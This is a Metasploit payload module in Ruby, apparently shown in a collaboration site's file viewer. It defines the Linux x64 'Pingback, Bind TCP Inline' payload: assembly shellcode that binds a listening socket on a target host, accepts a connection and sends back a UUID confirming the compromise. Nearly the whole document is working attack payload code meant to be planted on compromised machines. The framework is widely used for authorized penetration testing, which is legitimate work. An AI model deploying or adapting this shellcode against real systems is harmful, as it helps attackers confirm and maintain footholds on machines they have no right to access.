Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7

8
module MetasploitModule
9

10
  CachedSize = 109
11

12
  include Msf::Payload::Linux
13
  include Msf::Payload::Single
14
  include Msf::Payload::Pingback
15
  include Msf::Payload::Pingback::Options
16

17
  def initialize(info = {})
18
    super(merge_info(info,
19
      'Name'          => 'Linux x64 Pingback, Bind TCP Inline',
20
      'Description'   => 'Accept a connection from attacker and report UUID (Linux x64)',
21
      'Author'        => [ 'bwatters-r7' ],
22
      'License'       => MSF_LICENSE,
23
      'Platform'      => 'linux',
24
      'Arch'          => ARCH_X64,
25
      'Handler'       => Msf::Handler::BindTcp,
26
      'Session'       => Msf::Sessions::Pingback
27
    ))
28
    def generate(opts={})
29
      # 22 -> "0x00,0x16"
30
      # 4444 -> "0x11,0x5c"
31
      encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first
32
      encoded_host = Rex::Socket.addr_aton("0.0.0.0").unpack("V").first
33
      encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
34
      self.pingback_uuid ||= self.generate_pingback_uuid
35
      uuid_as_db = "0x" + pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
36

37
      asm = %Q^
38
          push   rsi
39
          push   rax
40
         ;SOCKET
41
          push   0x29
42
          pop    rax
43
          cdq
44
          push   0x2
45
          pop    rdi
46
          push   0x1
47
          pop    rsi
48
          syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
49
          test   rax, rax
50
          js failed
51

52
        xchg   rdi, rax
53
          mov    rcx, #{encoded_host_port}
54
          push   rcx
55
          mov    rsi, rsp
56
          push   rsp
57
          pop    rsi                          ; store pointer to struct
58

59
        bind_call:
60
          ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
61
          ; rdi -> fd already stored in rdi
62
          ; rsi -> pointer to sockaddr_in6 struct already in rsi
63
          push   0x31
64
          pop    rax                          ; bind syscall
65
          push   0x10                         ; sockaddr length
66
          pop    rdx                          ;
67
          syscall
68

69
        listen_call:
70
          ; int listen(int sockfd, int backlog);
71
          ; rdi -> fd already stored in rdi
72
          push   0x32
73
          pop    rax                          ; listen syscall
74
          push   0x1
75
          pop    rsi                          ; backlog
76
          syscall
77

78
        accept_call:
79
          ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
80
          ; rdi -> fd already stored in rdi
81
          push   0x2b
82
          pop    rax                          ; accept syscall
83
          cdq                                 ; zero-out rdx via sign-extension
84
          push   rdx
85
          push   rdx
86
          push rsp
87
          pop rsi                             ; when populated, client will be stored in rsi
88
          push   0x1c
89
          lea    rdx, [rsp]                   ; pointer to length of rsi (16)
90
          syscall
91
          xchg    rdi, rax                    ; grab client fd
92
        send_pingback:
93
          ; sys_write(fd:rdi, buf*:rsi, length:rdx)
94
          push #{uuid_as_db.split(",").length}  ; length of the PINGBACK UUID
95
          pop rdx                               ; length in rdx
96
          call get_uuid_address         ; put uuid buffer on the stack
97
          db #{uuid_as_db}  ; PINGBACK_UUID
98
        get_uuid_address:
99
          pop rsi                       ; UUID address into rsi
100
          xor rax, rax                  ; sys_write = offset 1
101
          inc rax                       ; sys_write = offset 1
102
          syscall                       ; call sys_write
103

104
        failed:
105
          push   0x3c
106
          pop    rax
107
          push   0x1
108
          pop    rdi
109
          syscall ; exit(1)
110
        ^
111
      Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
112
    end
113
  end
114
end
115

116